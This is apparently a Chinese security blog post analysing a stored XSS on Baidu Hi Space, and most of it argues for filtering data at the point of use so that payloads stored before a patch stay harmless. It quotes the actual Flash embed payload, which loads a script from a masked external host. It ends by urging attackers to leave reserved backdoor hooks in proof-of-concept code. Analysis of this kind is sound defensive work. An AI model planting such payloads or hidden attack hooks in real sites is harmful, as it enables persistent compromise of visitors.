G总前2天发我一链接说是baidu空间有人在xss[利用xss弹广告],于是今天分析了下,在“关于我”里插入swf远程调用js:

<embed allowscriptaccess="always" allownetworking="always" menu="false" loop="false" play="true" wmode="transparent" type="application/x-shockwave-flash" src="http://hi.baidu.com.******.com/a/b/fs.swf" pluginspage="http://www.macromedia.com/go/getflashplayer">

看到******.com/a/b/fs.swf这个我因为baidu又出现了0day了?利用******.com类似这样的子域名可以绕过白名单? 通过自己测试发现没办法“重现”。于是我想起了以前在hi群讨论过的 关于heart牛在baidu弹了1年多的jj的那个问题 :

当时在hi群讨论的时候,有人说是“时间遗忘攻击”,也有人说是“存储不动”导致的,其实我认为他们这些只是看到的“表象”,没有看到漏洞产生的“实质”,我们先看看这个应用程序里,变量与函数的关系,在《高级PHP应用程序漏洞审核技术》一文的前面有一段这样的叙述:

[WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”]

过程类似如下:

外部变量--->n次内部变量转换--->进入函数【实现功能】

在“n次内部变量转换”的过程 还包括“变量的存储与提取”:

外部变量--①-->n次内部变量转换--②-->数据库[变量的存储与提取]--②-->n次内部变量转换--③-->进入函数【实现功能】

我们以baidu为例子来分析下修补的方法:

①就是传统理解的“一切输入都是有害的”,也是现在主流的方法。baibu的处理也是这样的,在输入段过滤,然后就后面的就不处理了,现在问题里面牵扯到了一个“时间”因素,在baidu在①处过滤前,攻击者的代码已经当到了②与③之间的”数据库”里了,然后baidu在①处过滤后,数据库里的代码然后被提取出来进入函数导致漏洞继续.......

那么我们应该怎么理解和防御这个问题呢?我们的理解应该是前面提到的:“一切进入函数的变量是有害的”,所以我们的防御:“进入函数前那刹那的防御才是王道”。

大风在hi群里谈论这个问题的时候提到了一个补救的方案:

大风悬铃<xxxxxx> 16:52:59
输出防御+数据库检查历史数据
大风悬铃<xxxxxx> 16:53:09
or,输入防御+检查历史数据

就不谈效率的问题上,大风这些方案还是违背了“刹那”规则的。而且“数据库检查历史数据 ”这个是有缺陷的,比如数据的存储还在变量传递的过程,表现的方式是很难预测的,最起码的就是编码了,可能在数据库里的数据是urldecode base64等常见编码,根本就没有什么“特征代码”,而且从数据库里select出来的变量又要经过n次的转换和调用.这些都是不可以预料的.....


以上都是对于防御者来谈的,那么对于攻击者有什么启示没呢?是的那就是“测试用的poc需要预留攻击接口”比如heart牛如果1年前他预留了一个‘接口’,那么现在也不是简单的弹jj了!!!!!

对于这样的攻击其实有很多例子,比如我之前的blog文《我在qqmail上放了*个后门》,其实对于“预留攻击接口”这是一种攻击思路,不单单用在本文的例子,还有可能诞生很多的精彩故事?

期待你的精彩故事! :)